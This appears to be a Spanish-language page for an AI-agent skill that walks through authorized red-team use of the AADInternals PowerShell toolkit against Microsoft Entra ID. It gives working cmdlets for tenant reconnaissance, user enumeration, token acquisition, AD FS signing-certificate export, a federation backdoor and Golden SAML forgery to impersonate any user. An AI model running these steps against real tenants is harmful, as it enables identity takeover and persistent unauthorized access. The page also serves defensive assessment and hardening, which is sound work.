Communitygithub.com

Auditoría de Entra ID con AADInternals

Utiliza el kit de herramientas PowerShell AADInternals para realizar reconocimiento de inquilinos de Microsoft Entra ID, adquisición de tokens de acceso a través de las API de Microsoft y pruebas de backdoor de federación/AD FS (Golden SAML, T1606.002) para validación defensiva. Úsalo durante una evaluación de equipo rojo autorizada en Entra ID/Microsoft 365 para mapear la superficie de ataque externa o verificar que los certificados de firma de AD FS resistan Golden SAML.

¿Qué es Auditoría de Entra ID con AADInternals?

Esta habilidad guía el uso de AADInternals, el kit de herramientas PowerShell ofensivo/administrativo más completo para Microsoft Entra ID (anteriormente Azure AD), Azure AD Connect y Servicios de Federación de Active Directory (AD FS). Permite realizar reconocimiento de inquilinos sin autenticación, adquisición de tokens de acceso para múltiples API de Microsoft (Graph de Azure AD, Microsoft Graph, Exchange Online, SharePoint) y, con permisos de Administrador Global, manipular directorios y probar el conocido backdoor de federación que abusa de la ruta `Set-MsolDomainFederationSettings`/`ConvertTo-AADIntBackdoor`. Esta técnica permite falsificar tokens SAML para cualquier usuario (Golden SAML), mapeando a la técnica MITRE ATT&CK T1606.002. La habilidad está diseñada para ser utilizada en evaluaciones de seguridad autorizadas, proporcionando una lente de validación defensiva: confirma qué puede aprender un atacante externo, qué alcance tiene un token con pocos privilegios y si la configuración de federación/AD FS permitiría Golden SAML. Finalmente, genera evidencia y recomendaciones de endurecimiento para proteger los certificados de firma de tokens y monitorear cambios en la configuración de federación.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace Auditoría de Entra ID con AADInternals?

Aviso Legal: Esta habilidad es solo para pruebas de seguridad autorizadas, compromisos de equipo rojo y fines educativos. AADInternals puede falsificar tokens SAML e instalar backdoors de federación que otorgan suplantación persistente de cualquier usuario del inquilino. Úsalo únicamente contra inquilinos que poseas o para los cuales tengas autorización explícita por escrito (reglas de enfrentamiento) para realizar pruebas. El uso no autorizado infringe la Ley de Fraude y Abuso Informático y leyes equivalentes.

Resumen

AADInternals es el kit de herramientas PowerShell ofensivo/administrativo más completo para Microsoft Entra ID (anteriormente Azure AD), Azure AD Connect y Servicios de Federación de Active Directory (AD FS), creado por el Dr. Nestori Syynimaa (Gerenios / Secureworks). Expone cientos de cmdlets (todos con el prefijo AADInt) que cubren reconocimiento externo no autenticado, adquisición de tokens de acceso para cada API de Microsoft, manipulación de directorios, ataques a AD FS/PTA, y la técnica por la que es más famoso: backdoors de federación que abusan de la ruta Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor para que un atacante que controle el IssuerUri de un dominio federado pueda generar tokens SAML para usuarios arbitrarios, correspondiendo a la técnica MITRE ATT&CK T1606.002 (Forjar Credenciales Web: Tokens SAML), la misma clase de técnica utilizada en las intrusiones de SolarWinds (Golden SAML).

El kit separa las capacidades según la posición requerida. Invoke-AADIntReconAsOutsider y Get-AADIntLoginInformation no requieren credenciales: consultan endpoints públicos (getuserrealm, configuración de OpenID, autodescubrimiento) para revelar dominios verificados, ID del inquilino, tipo de federación, marca y si el SSO de Escritorio/Perfecto está habilitado. Con un punto de apoyo, los cmdlets Get-AADIntAccessTokenFor* adquieren tokens para Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management y más, opcionalmente almacenándolos en caché para que cmdlets posteriores los reutilicen. Con Administrador Global (o una cuenta sincronada de AD Connect), el kit puede leer secretos del directorio, manipular usuarios y establecer el backdoor de federación.

Esta habilidad impulsa AADInternals desde una perspectiva de validación defensiva: confirmar qué puede aprender un atacante externo, qué alcance tiene un token con pocos privilegios y si la configuración de federación/AD FS permitiría Golden SAML, para luego producir evidencia y recomendaciones de endurecimiento.

Cuándo Usarlo

  • Durante una evaluación de equipo rojo autorizada de Entra ID / Microsoft 365 o de asunción de brecha
  • Para enumerar la superficie de ataque externa (dominios verificados, tipo de federación, SSO) antes de ataques con credenciales
  • Para validar que los certificados de firma de tokens de federación y AD FS están protegidos contra Golden SAML
  • Para probar la adquisición y reutilización de tokens en las API de primera parte de Microsoft
  • Al construir detecciones (combinar con la habilidad de caza de registros de Graph del equipo azul) y necesitar telemetría real de AADInternals

Prerrequisitos

  • Autorización por escrito que cubra pruebas de ataque a identidad y backdoors de federación
  • Host Windows con PowerShell 5.1+ (o PowerShell 7 en el subconjunto compatible)
  • Para pruebas de backdoor/federación: Administrador Global (o equivalente) en el inquilino objetivo, dentro del alcance según las reglas de enfrentamiento
  • Instalar el módulo desde la Galería de PowerShell:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # También está disponible una reimplementación multiplataforma solo AsOutsider (sin credenciales):
    #   https://github.com/synacktiv/AADOutsider-py
    
  • Familiaridad con SAML/WS-Federation, tokens OAuth y Azure AD Connect

Objetivos

  • Realizar reconocimiento de inquilinos no autenticado y enumerar dominios verificados, ID del inquilino y tipo de federación
  • Adquirir y almacenar en caché tokens de acceso para las API de primera parte de Microsoft
  • Enumerar usuarios/grupos/roles con un token autenticado
  • Probar el backdoor de federación / ruta Golden SAML de manera controlada y autorizada
  • Documentar la exposición y entregar recomendaciones de endurecimiento (protección de certificados de firma de tokens, monitoreo de federación)

Mapeo MITRE ATT&CK

IDTécnicaAplicación en esta habilidad
T1606.002Forjar Credenciales Web: Tokens SAMLConvertTo-AADIntBackdoor + New-AADIntSAMLToken forjan tokens SAML para usuarios arbitrarios a través de un IssuerUri de federación controlado (Golden SAML)

Técnicas relacionadas: T1087.004 Descubrimiento de Cuentas: Cuenta en la Nube (reconocimiento), T1528 Robar Token de Acceso de Aplicación (adquisición de tokens), T1556.007 Modificar Proceso de Autenticación: Identidad Híbrida (backdoors de federación/PTA).

Flujo de Trabajo

Paso 1: Reconocimiento externo no autenticado

No se requieren credenciales. Identificar dominios verificados, ID del inquilino, tipo de federación, marca y estado de SSO.

# Reconocimiento externo completo para un dominio (salida en tabla)
Invoke-AADIntReconAsOutsider -DomainName "objetivo.com" | Format-Table

# Detalles de inicio de sesión/reino: federado vs. administrado, AuthURL, marca
Get-AADIntLoginInformation -Domain "objetivo.com"

# GUID del inquilino
Get-AADIntTenantID -Domain "objetivo.com"

Paso 2: Enumeración de usuarios externos (opcional, ruidosa)

Validar si los nombres de usuario existen a través de los endpoints GetCredentialType / autologon.

# Proporcionar una lista de UPN candidatos para probar la existencia
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# O canalizar varios:
Get-Content .\usuarios.txt | Invoke-AADIntUserEnumerationAsOutsider

Paso 3: Adquirir y almacenar en caché tokens de acceso

Con credenciales válidas (o un aviso interactivo), obtener tokens para la API que necesites. -SaveToCache permite que cmdlets posteriores reutilicen el token automáticamente.

# Token de Azure AD Graph (graph.windows.net heredado), almacenado en caché
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Paso 4: Enumeración de directorio autenticada

Usando un token almacenado en caché/adquirido, leer objetos del directorio para mapear privilegios.

# Información global del inquilino (usa el token de AAD Graph en caché)
Get-AADIntTenantDetails

# Enumerar usuarios y buscar cuentas privilegiadas / sincronizadas
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Paso 5: Inspeccionar configuración de federación / AD FS

Determinar si el inquilino utiliza dominios federados y dónde residen las claves de firma de tokens, el requisito previo para Golden SAML.

# Si tienes acceso al servidor de AD FS, exportar el certificado de firma de tokens
Export-AADIntADFSSigningCertificate -Path .\certificado_firma_adfs.pfx
# Leer la configuración de AD FS / claves de cifrado (en el equipo AD FS o mediante DKM)
Get-AADIntADFSConfiguration -Server adfs.objetivo.com

Paso 6: Backdoor de federación / Golden SAML (solo autorizado)

Convertir un dominio en un backdoor estableciendo un IssuerUri conocido, luego forjar un token SAML para un usuario objetivo usando el ImmutableId de ese dominio. Solo en un inquilino controlado con autorización explícita.

# Requiere un token de Administrador Global (AAD Graph) almacenado en caché en el Paso 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.objetivo.com"
# La salida incluye el IssuerUri para reutilizar al forjar tokens.

# Forjar un token SAML suplantando a un usuario (ImmutableId de Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.objetivo.com/adfs/services/trust/" -UseBuiltInCertificate

# Usar el token forjado para abrir una sesión del portal como el usuario suplantado
Open-AADIntOffice365Portal -SAMLToken $saml

Paso 7: Documentar exposición y endurecer

Capturar exactamente qué reveló el reconocimiento, qué tokens/API fueron alcanzables y si la ruta de backdoor/Golden SAML tuvo éxito. Recomendar: proteger los certificados de firma de tokens de AD FS (HSM, acceso DKM restringido), alertar sobre nuevos cambios en las relaciones de confianza de federación, monitorear Set-DomainAuthentication/Set-MsolDomainFederationSettings, y migrar cuando sea factible a autenticación administrada (en la nube).

Herramientas y Recursos

RecursoPropósitoFuente
AADInternalsKit de herramientas de ataque y administración de Entra ID / AD FShttps://github.com/Gerenios/AADInternals
Documentación de AADInternalsReferencia de cmdlets y guías de técnicashttps://aadinternals.com/aadinternals/
AADOutsider-pyReimplementación multiplataforma solo AsOutsiderhttps://github.com/synacktiv/AADOutsider-py
Información sobre Golden SAMLGuía de la técnica de backdoor de federaciónhttps://aadinternals.com/post/aadbackdoor/
MITRE T1606.002Forjar Credenciales Web: Tokens SAMLhttps://attack.mitre.org/techniques/T1606/002/

Referencia Rápida de Cmdlets

CmdletPosiciónPropósito
Invoke-AADIntReconAsOutsiderNingunaDominios verificados, ID del inquilino, tipo de federación, SSO
Get-AADIntLoginInformationNingunaDetalles de inicio de sesión/reino para un dominio
Get-AADIntTenantIDNingunaGUID del inquilino
Invoke-AADIntUserEnumerationAsOutsiderNingunaValidar existencia de usuario
Get-AADIntAccessTokenForAADGraphCredencialesToken de Azure AD Graph (-SaveToCache)
Get-AADIntAccessTokenForMSGraphCredencialesToken de Microsoft Graph
Get-AADIntAccessTokenForEXOCredencialesToken de Exchange Online
Get-AADIntUsersTokenEnumerar usuarios del directorio
ConvertTo-AADIntBackdoorAdmin GlobalConvertir un dominio en un backdoor de federación
New-AADIntSAMLTokenBackdoorForjar un token SAML para un usuario (Golden SAML)
Open-AADIntOffice365PortalToken SAMLAbrir una sesión del portal como el usuario suplantado

Criterios de Validación

  • Reconocimiento externo completado; dominios verificados, ID del inquilino y tipo de federación registrados
  • Enumeración de usuarios probada (o documentada como fuera del alcance)
  • Token de acceso adquirido y almacenado en caché para al menos una API de Microsoft
  • Enumeración de directorio autenticada realizada (usuarios/roles, cuentas sincronizadas anotadas)
  • Configuración de federación / AD FS evaluada para exposición de claves de firma de tokens
  • Ruta de backdoor / Golden SAML probada en un inquilino controlado autorizado o documentada como fuera del alcance
  • Exposición documentada con impacto concreto
  • Recomendaciones de endurecimiento entregadas (protección de certificados, monitoreo de federación, migración a autenticación administrada)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills relacionados